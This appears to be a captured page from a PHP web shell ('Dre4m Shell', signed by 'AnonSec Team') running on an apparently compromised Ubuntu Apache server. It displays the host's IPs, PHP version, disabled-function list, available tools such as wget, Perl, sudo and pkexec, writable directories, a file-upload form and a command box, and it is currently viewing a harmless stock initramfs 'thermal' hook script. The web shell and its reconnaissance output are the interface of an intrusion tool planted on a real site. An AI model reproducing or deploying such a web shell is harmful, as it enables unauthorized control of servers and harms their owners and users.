Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.116.239.69
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/initramfs-tools/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/initramfs-tools/hooks/thermal
#!/bin/sh

PREREQ=""

prereqs()
{
	echo "$PREREQ"
}

case $1 in
# get pre-requisites
prereqs)
	prereqs
	exit 0
	;;
esac

# Hooks for loading thermal bits into the initramfs

. /usr/share/initramfs-tools/hook-functions

case "$DPKG_ARCH" in
# copy the right modules
powerpc|ppc64)

	# Only G5 Mac machines need to load
	# therm_pm72 or one of the windfarm_pm* modules.

	[ -r /proc/cpuinfo ] || exit 0

	MODEL="`grep model /proc/cpuinfo`"
	MODEL="${MODEL##*: }"

	case "$MODEL" in
	  RackMac3,1|PowerMac7,2|PowerMac7,3)
	    force_load therm_pm72
	    ;;
	  PowerMac8,1|PowerMac8,2)
	    force_load windfarm_pm81
	    ;;
	  PowerMac9,1)
	    force_load windfarm_pm91
	    ;;
	  PowerMac11,2)
	    force_load windfarm_pm112
	    ;;
	  PowerMac12,1)
	    force_load windfarm_pm121
	    ;;
	  *)
	    # No other machine needs windfarm_* modules on initrd.
	    exit 0
	    ;;
	esac
	manual_add_modules windfarm_core
	manual_add_modules windfarm_cpufreq_clamp
	manual_add_modules windfarm_lm75_sensor
	manual_add_modules windfarm_max6690_sensor
	manual_add_modules windfarm_pid
	manual_add_modules windfarm_smu_controls
	manual_add_modules windfarm_smu_sat
	manual_add_modules windfarm_smu_sensors
	;;
i386|amd64|ia64)
	manual_add_modules fan
	manual_add_modules thermal
	;;
esac

Anon7 - 2022
AnonSec Team